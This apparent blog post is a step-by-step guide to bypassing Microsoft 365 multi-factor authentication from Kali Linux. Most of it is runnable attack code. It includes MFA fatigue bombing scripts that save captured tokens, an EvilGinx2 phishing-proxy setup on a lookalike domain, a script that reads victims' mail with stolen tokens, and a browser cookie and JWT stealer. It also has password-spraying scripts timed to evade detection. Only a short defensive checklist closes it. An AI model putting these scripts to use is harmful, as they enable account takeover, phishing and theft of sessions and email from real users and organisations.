Microsoft 365 Two-Factor Authentication Bypass Using Kali Linux: Complete Exploitation Guide
Microsoft 365's two-factor authentication, while designed to provide robust account security, contains multiple exploitable weaknesses that attackers leverage using Kali Linux's specialized toolkit. This comprehensive guide examines practical bypass techniques using Kali's pre-installed and community tools, demonstrating how attackers circumvent MFA through automated fatigue attacks, reverse proxy phishing, legacy protocol exploitation, session hijacking, and OAuth token manipulation. Understanding these attack methodologies enables security professionals to assess organizational vulnerabilities, test authentication controls, and implement effective countermeasures against sophisticated authentication bypass attempts targeting cloud-based enterprise environments.
Kali Linux Environment Setup
Essential Tool Installation
# Update system repositories
sudo apt update && sudo apt upgrade -y
# Install Python and essential libraries
sudo apt install -y python3 python3-pip python3-requests python3-bs4
# Install PowerShell for Azure AD tools
wget -q https://packages.microsoft.com/config/debian/11/packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo apt update
sudo apt install -y powershell
# Install Go for EvilGinx2
sudo apt install -y golang-go git make
# Install network tools
sudo apt install -y nmap curl wget netcat-openbsd
# Create working directory
mkdir -p ~/m365-attacks
cd ~/m365-attacks
Installing Specialized M365 Attack Tools
# Clone o365spray (validation and password spraying)
git clone https://github.com/0xZDH/o365spray.git
cd o365spray
pip3 install -r requirements.txt
cd ..
# Clone MSOLSpray (PowerShell-based spraying)
git clone https://github.com/dafthack/MSOLSpray.git
# Clone EvilGinx2 (phishing framework)
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
cd ..
# Clone Modlishka (alternative phishing)
git clone https://github.com/drk1wi/Modlishka.git
cd Modlishka
make
cd ..
# Install AADInternals module (Azure AD toolkit)
pwsh -Command "Install-Module -Name AADInternals -Force"
# Clone TokenTactics (OAuth manipulation)
git clone https://github.com/rvrsh3ll/TokenTactics.git
cd TokenTactics
pip3 install -r requirements.txt
cd ..
Technique 1: MFA Fatigue Bombing
MFA fatigue exploits user psychology by overwhelming them with authentication requests until they approve from exhaustion, confusion, or annoyance.
Simple MFA Bomber Script
#!/usr/bin/env python3
# simple_mfa_bomber.py
import requests
import time
import sys
def send_mfa_prompt(email, password):
"""Send single MFA prompt"""
url = "https://login.microsoftonline.com/common/oauth2/token"
data = {
'grant_type': 'password',
'username': email,
'password': password,
'client_id': '1b730954-1685-4b74-9bfd-dac224a7b894', # Azure PowerShell client
'resource': 'https://graph.windows.net'
}
try:
response = requests.post(url, data=data, timeout=10)
return response
except Exception as e:
print(f"Error: {e}")
return None
def mfa_bomber(email, password, attempts=50):
"""Execute MFA bombing attack"""
print(f"[*] Target: {email}")
print(f"[*] Sending {attempts} MFA prompts...")
print()
for i in range(attempts):
print(f"[*] Attempt {i+1}/{attempts}", end=" ... ")
response = send_mfa_prompt(email, password)
if not response:
print("Request failed")
continue
# Check for success
if response.status_code == 200:
print("✓ SUCCESS!")
print()
print("[+] User approved MFA!")
tokens = response.json()
print(f"[+] Access Token: {tokens['access_token'][:60]}...")
print(f"[+] Refresh Token: {tokens['refresh_token'][:60]}...")
# Save tokens
with open('captured_tokens.txt', 'w') as f:
f.write(f"Email: {email}\n")
f.write(f"Access Token: {tokens['access_token']}\n")
f.write(f"Refresh Token: {tokens['refresh_token']}\n")
print("[+] Tokens saved to captured_tokens.txt")
return True
# Check error codes
elif "AADSTS50076" in response.text or "AADSTS50074" in response.text:
print("MFA prompt sent")
elif "AADSTS50126" in response.text:
print("Invalid password - stopping")
return False
elif "AADSTS50053" in response.text:
print("Account locked - stopping")
return False
else:
print("Unknown response")
time.sleep(3)
print()
print("[-] User did not approve after all attempts")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 simple_mfa_bomber.py <email> <password>")
sys.exit(1)
email = sys.argv[1]
password = sys.argv[2]
mfa_bomber(email, password)
Usage
# Make executable
chmod +x simple_mfa_bomber.py
# Run attack
python3 simple_mfa_bomber.py victim@company.com 'Password123!'
# Monitor output
# [*] Target: victim@company.com
# [*] Sending 50 MFA prompts...
# [*] Attempt 1/50 ... MFA prompt sent
# [*] Attempt 2/50 ... MFA prompt sent
# ...
# [*] Attempt 27/50 ... ✓ SUCCESS!
# [+] User approved MFA!
Advanced Multi-Phase Bomber
#!/bin/bash
# multi_phase_bomber.sh
EMAIL="$1"
PASSWORD="$2"
echo "╔═══════════════════════════════════════════╗"
echo "║ Multi-Phase MFA Bombing Attack ║"
echo "╚═══════════════════════════════════════════╝"
echo ""
# Phase 1: Rapid burst (confuse user)
echo "[Phase 1] Rapid Burst Attack"
echo "[*] Sending 10 rapid prompts..."
for i in {1..10}; do
curl -s -X POST https://login.microsoftonline.com/common/oauth2/token \
-d "grant_type=password" \
-d "username=$EMAIL" \
-d "password=$PASSWORD" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "resource=https://graph.windows.net" > /dev/null
echo " → Prompt $i sent"
sleep 2
done
# Phase 2: Wait period (false sense of security)
echo ""
echo "[Phase 2] Cooling Period"
echo "[*] Waiting 3 minutes..."
sleep 180
# Phase 3: Resume attack (user tired)
echo ""
echo "[Phase 3] Sustained Pressure"
echo "[*] Resuming with variable timing..."
for i in {1..30}; do
DELAY=$((5 + RANDOM % 15))
RESPONSE=$(curl -s -X POST https://login.microsoftonline.com/common/oauth2/token \
-d "grant_type=password" \
-d "username=$EMAIL" \
-d "password=$PASSWORD" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "resource=https://graph.windows.net")
if echo "$RESPONSE" | grep -q "access_token"; then
echo ""
echo "✓ SUCCESS! User approved MFA on attempt $i"
echo "$RESPONSE" | jq . > phase3_success.json
echo "[+] Tokens saved to phase3_success.json"
exit 0
fi
echo " → Attempt $i (waiting ${DELAY}s)"
sleep $DELAY
done
echo ""
echo "[-] Attack completed without success"
Technique 2: EvilGinx2 Reverse Proxy Phishing
EvilGinx2 creates a man-in-the-middle proxy that captures both credentials AND session tokens, completely bypassing MFA.
Complete EvilGinx2 Setup
# Navigate to EvilGinx2
cd ~/m365-attacks/evilginx2
# Prepare SSL certificates (using Let's Encrypt)
PHISHING_DOMAIN="login-microsoftonline.com" # Example phishing domain
# Generate certificate
sudo certbot certonly --standalone -d $PHISHING_DOMAIN
# Copy certificates to EvilGinx
mkdir -p ~/.evilginx/certs
sudo cp /etc/letsencrypt/live/$PHISHING_DOMAIN/fullchain.pem ~/.evilginx/certs/$PHISHING_DOMAIN.crt
sudo cp /etc/letsencrypt/live/$PHISHING_DOMAIN/privkey.pem ~/.evilginx/certs/$PHISHING_DOMAIN.key
# Start EvilGinx2
sudo ./bin/evilginx -p phishlets/
EvilGinx2 Configuration
# Inside EvilGinx2 console, configure the attack
# Set domain and IP
config domain login-microsoftonline.com
config ip 1.2.3.4
# Setup Office 365 phishlet
phishlets hostname o365 login-microsoftonline.com
# Enable phishlet
phishlets enable o365
# Create lure (phishing link)
lures create o365
# Set redirect URL after successful phishing
lures edit 0 redirect_url https://outlook.office365.com/mail/inbox
# Get phishing URL
lures get-url 0
# Output: https://login-microsoftonline.com/xxxxx
Monitoring Captured Sessions
# In EvilGinx2 console:
# View all sessions
sessions
# View specific session details
sessions 1
# Export captured tokens
sessions 1 export tokens.json
# View captured credentials
sessions 1
Using Captured Tokens
#!/bin/bash
# use_captured_session.sh
TOKEN_FILE="$1"
if [ ! -f "$TOKEN_FILE" ]; then
echo "Usage: $0 <token_file.json>"
exit 1
fi
# Extract access token
ACCESS_TOKEN=$(jq -r '.access_token' "$TOKEN_FILE")
echo "[*] Testing captured access token..."
# Test against Microsoft Graph API
RESPONSE=$(curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/me)
if echo "$RESPONSE" | jq -e .userPrincipalName > /dev/null 2>&1; then
echo "[✓] Token is valid!"
echo ""
# Display user info
echo "Compromised Account:"
echo " Name: $(echo "$RESPONSE" | jq -r .displayName)"
echo " Email: $(echo "$RESPONSE" | jq -r .userPrincipalName)"
echo " Job Title: $(echo "$RESPONSE" | jq -r .jobTitle)"
# Access mailbox
echo ""
echo "[*] Accessing mailbox..."
MAIL=$(curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/messages?\$top=5")
echo "$MAIL" | jq -r '.value[] | " → \(.subject) (from: \(.from.emailAddress.address))"'
else
echo "[✗] Token is invalid or expired"
fi
Technique 3: Legacy Protocol Exploitation
Many organizations leave legacy authentication protocols enabled, allowing authentication without MFA.
Protocol Scanner Tool
#!/usr/bin/env python3
# protocol_scanner.py
import imaplib
import poplib
import smtplib
import requests
import base64
import sys
class ProtocolScanner:
def __init__(self, email, password):
self.email = email
self.password = password
self.results = []
def test_imap(self):
"""Test IMAP protocol"""
print("[*] Testing IMAP (outlook.office365.com:993)...")
try:
conn = imaplib.IMAP4_SSL('outlook.office365.com', 993)
conn.login(self.email, self.password)
conn.select('INBOX')
_, messages = conn.search(None, 'ALL')
count = len(messages[0].split())
print(f" [✓] IMAP works - {count} messages in inbox")
print(f" [!] MFA BYPASSED via IMAP")
self.results.append('IMAP')
conn.logout()
return True
except Exception as e:
print(f" [✗] IMAP failed: {str(e)[:50]}")
return False
def test_pop3(self):
"""Test POP3 protocol"""
print("[*] Testing POP3 (outlook.office365.com:995)...")
try:
conn = poplib.POP3_SSL('outlook.office365.com', 995)
conn.user(self.email)
conn.pass_(self.password)
count = len(conn.list()[1])
print(f" [✓] POP3 works - {count} messages")
print(f" [!] MFA BYPASSED via POP3")
self.results.append('POP3')
conn.quit()
return True
except Exception as e:
print(f" [✗] POP3 failed: {str(e)[:50]}")
return False
def test_smtp(self):
"""Test SMTP protocol"""
print("[*] Testing SMTP (smtp.office365.com:587)...")
try:
conn = smtplib.SMTP('smtp.office365.com', 587)
conn.starttls()
conn.login(self.email, self.password)
print(f" [✓] SMTP works - can send email")
print(f" [!] MFA BYPASSED via SMTP")
self.results.append('SMTP')
conn.quit()
return True
except Exception as e:
print(f" [✗] SMTP failed: {str(e)[:50]}")
return False
def test_activesync(self):
"""Test ActiveSync protocol"""
print("[*] Testing ActiveSync...")
try:
url = "https://outlook.office365.com/Microsoft-Server-ActiveSync"
auth = base64.b64encode(f"{self.email}:{self.password}".encode()).decode()
headers = {
'Authorization': f'Basic {auth}',
'MS-ASProtocolVersion': '14.1',
'User-Agent': 'Android/10'
}
response = requests.options(url, headers=headers, timeout=10)
if response.status_code == 200:
print(f" [✓] ActiveSync works")
print(f" [!] MFA BYPASSED via ActiveSync")
self.results.append('ActiveSync')
return True
else:
print(f" [✗] ActiveSync failed: HTTP {response.status_code}")
return False
except Exception as e:
print(f" [✗] ActiveSync failed: {str(e)[:50]}")
return False
def run_all(self):
"""Run all protocol tests"""
print(f"\n{'='*50}")
print(f"Legacy Protocol Scanner")
print(f"Target: {self.email}")
print(f"{'='*50}\n")
self.test_imap()
print()
self.test_pop3()
print()
self.test_smtp()
print()
self.test_activesync()
print(f"\n{'='*50}")
if self.results:
print(f"[+] MFA can be bypassed using: {', '.join(self.results)}")
print(f"[+] {len(self.results)} vulnerable protocols found")
else:
print(f"[-] No legacy protocols available")
print(f"[-] MFA bypass not possible via legacy auth")
print(f"{'='*50}\n")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 protocol_scanner.py <email> <password>")
sys.exit(1)
scanner = ProtocolScanner(sys.argv[1], sys.argv[2])
scanner.run_all()
Quick IMAP Test with netcat
# Manual IMAP test using OpenSSL
openssl s_client -connect outlook.office365.com:993 -crlf
# After connection, type:
# a001 LOGIN user@domain.com password
# a002 LIST "" "*"
# a003 SELECT INBOX
# a004 LOGOUT
# Successful login without MFA = vulnerable
Technique 4: Session Token Theft
Stealing authenticated sessions from compromised devices bypasses MFA entirely.
Browser Cookie Extractor
#!/usr/bin/env python3
# cookie_stealer.py
import os
import sqlite3
import json
from pathlib import Path
def extract_chrome_cookies():
"""Extract Microsoft cookies from Chrome"""
print("[*] Extracting Chrome cookies...")
# Chrome cookie database path
chrome_path = Path.home() / '.config' / 'google-chrome' / 'Default' / 'Cookies'
if not chrome_path.exists():
print(" [✗] Chrome cookies not found")
return []
# Copy database (in use)
temp_db = '/tmp/chrome_cookies.db'
os.system(f'cp "{chrome_path}" {temp_db}')
# Query cookies
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
cursor.execute("""
SELECT host_key, name, encrypted_value
FROM cookies
WHERE host_key LIKE '%microsoft%'
OR host_key LIKE '%office%'
OR host_key LIKE '%outlook%'
""")
cookies = []
for host, name, value in cursor.fetchall():
cookies.append({
'domain': host,
'name': name,
'value': value.hex() # Encrypted, needs decryption
})
print(f" [+] Found: {name} ({host})")
conn.close()
os.remove(temp_db)
return cookies
def extract_firefox_cookies():
"""Extract Microsoft cookies from Firefox"""
print("\n[*] Extracting Firefox cookies...")
firefox_dir = Path.home() / '.mozilla' / 'firefox'
cookies = []
for profile in firefox_dir.glob('*.default-release'):
cookie_db = profile / 'cookies.sqlite'
if not cookie_db.exists():
continue
temp_db = '/tmp/firefox_cookies.db'
os.system(f'cp "{cookie_db}" {temp_db}')
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
cursor.execute("""
SELECT host, name, value
FROM moz_cookies
WHERE host LIKE '%microsoft%'
OR host LIKE '%office%'
OR host LIKE '%outlook%'
""")
for host, name, value in cursor.fetchall():
cookies.append({
'domain': host,
'name': name,
'value': value
})
print(f" [+] Found: {name} ({host})")
conn.close()
os.remove(temp_db)
return cookies
def extract_tokens_from_storage():
"""Extract JWT tokens from browser local storage"""
print("\n[*] Extracting tokens from local storage...")
storage_paths = [
Path.home() / '.config' / 'google-chrome' / 'Default' / 'Local Storage' / 'leveldb',
Path.home() / '.config' / 'microsoft-edge' / 'Default' / 'Local Storage' / 'leveldb'
]
tokens = []
for storage_path in storage_paths:
if not storage_path.exists():
continue
for file in storage_path.iterdir():
try:
with open(file, 'rb') as f:
content = f.read()
# Search for JWT pattern
import re
jwt_pattern = rb'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+'
found = re.findall(jwt_pattern, content)
for token in found:
token_str = token.decode('utf-8', errors='ignore')
if token_str not in tokens:
tokens.append(token_str)
print(f" [+] Found JWT: {token_str[:50]}...")
except:
pass
return tokens
def main():
print("="*50)
print("Microsoft 365 Session Token Stealer")
print("="*50)
chrome_cookies = extract_chrome_cookies()
firefox_cookies = extract_firefox_cookies()
jwt_tokens = extract_tokens_from_storage()
# Save results
results = {
'chrome_cookies': chrome_cookies,
'firefox_cookies': firefox_cookies,
'jwt_tokens': jwt_tokens
}
with open('stolen_sessions.json', 'w') as f:
json.dump(results, f, indent=4)
print(f"\n{'='*50}")
print(f"[+] Extracted {len(chrome_cookies)} Chrome cookies")
print(f"[+] Extracted {len(firefox_cookies)} Firefox cookies")
print(f"[+] Extracted {len(jwt_tokens)} JWT tokens")
print(f"[+] Results saved to stolen_sessions.json")
print(f"{'='*50}")
if __name__ == "__main__":
main()
Technique 5: Password Spraying with o365spray
When MFA isn't enforced on all accounts, password spraying discovers unprotected accounts.
Using o365spray
# Navigate to o365spray
cd ~/m365-attacks/o365spray
# Validate email addresses exist
python3 o365spray.py --validate --domain company.com
# Or validate from file
python3 o365spray.py --validate -U usernames.txt
# Password spray attack
python3 o365spray.py --spray -U valid_users.txt -P 'Summer2024!'
# Multiple passwords
python3 o365spray.py --spray -U valid_users.txt -p passwords.txt --count 2 --lockout 5
# Output format
python3 o365spray.py --spray -U users.txt -P 'Password123!' -output spray_results.txt
Custom Password Sprayer
#!/bin/bash
# password_sprayer.sh
USER_FILE="$1"
PASSWORD="$2"
if [ -z "$USER_FILE" ] || [ -z "$PASSWORD" ]; then
echo "Usage: $0 <user_file> <password>"
exit 1
fi
echo "[*] Password spraying with: $PASSWORD"
echo ""
while IFS= read -r email; do
echo "[*] Testing: $email"
RESPONSE=$(curl -s -X POST https://login.microsoftonline.com/common/oauth2/token \
-d "grant_type=password" \
-d "username=$email" \
-d "password=$PASSWORD" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "resource=https://graph.windows.net")
if echo "$RESPONSE" | grep -q "access_token"; then
echo " [✓] SUCCESS! Valid credentials"
echo "$email:$PASSWORD" >> compromised.txt
elif echo "$RESPONSE" | grep -q "AADSTS50076"; then
echo " [!] Valid password but MFA required"
echo "$email:$PASSWORD:MFA" >> valid_with_mfa.txt
elif echo "$RESPONSE" | grep -q "AADSTS50126"; then
echo " [✗] Invalid password"
else
echo " [?] Unknown response"
fi
# Delay to avoid detection
sleep 30
done < "$USER_FILE"
echo ""
echo "[*] Spray complete"
echo "[+] Compromised accounts saved to: compromised.txt"
echo "[+] Valid accounts with MFA saved to: valid_with_mfa.txt"
Defense Strategies
Detection Indicators
# Monitor Azure AD sign-in logs for:
# - Multiple failed MFA attempts from same IP
# - Successful authentications via legacy protocols
# - Sign-ins from unusual locations
# - Device code flow activations
# - High volume authentication requests
# Query Azure AD logs (requires admin)
pwsh
Connect-AzureAD
Get-AzureADAuditSignInLogs -Filter "status/errorCode eq 50074" | Select-Object createdDateTime, userPrincipalName, ipAddress
Recommended Protections
- Disable Legacy Authentication Completely
- Enforce Phishing-Resistant MFA (FIDO2, Windows Hello)
- Implement Conditional Access Policies
- Enable Azure AD Identity Protection
- Monitor for MFA Fatigue Patterns
- Use App-Based MFA Instead of SMS
- Restrict Device Code Flow
- Implement Number Matching in Authenticator
Conclusion
Microsoft 365 two-factor authentication, while significantly improving security over passwords alone, remains vulnerable to sophisticated bypass techniques when attacked with Kali Linux's specialized toolkit. MFA fatigue attacks exploit user behavior, reverse proxy phishing captures complete authenticated sessions, legacy protocols bypass MFA entirely, and session token theft provides persistent access. Understanding these attack methodologies—from automated bombing scripts to EvilGinx2 phishing infrastructure—enables organizations to identify authentication weaknesses and implement robust defenses including phishing-resistant MFA, legacy protocol blocking, and behavioral anomaly detection to protect cloud-based enterprise environments.
Comments
Post a Comment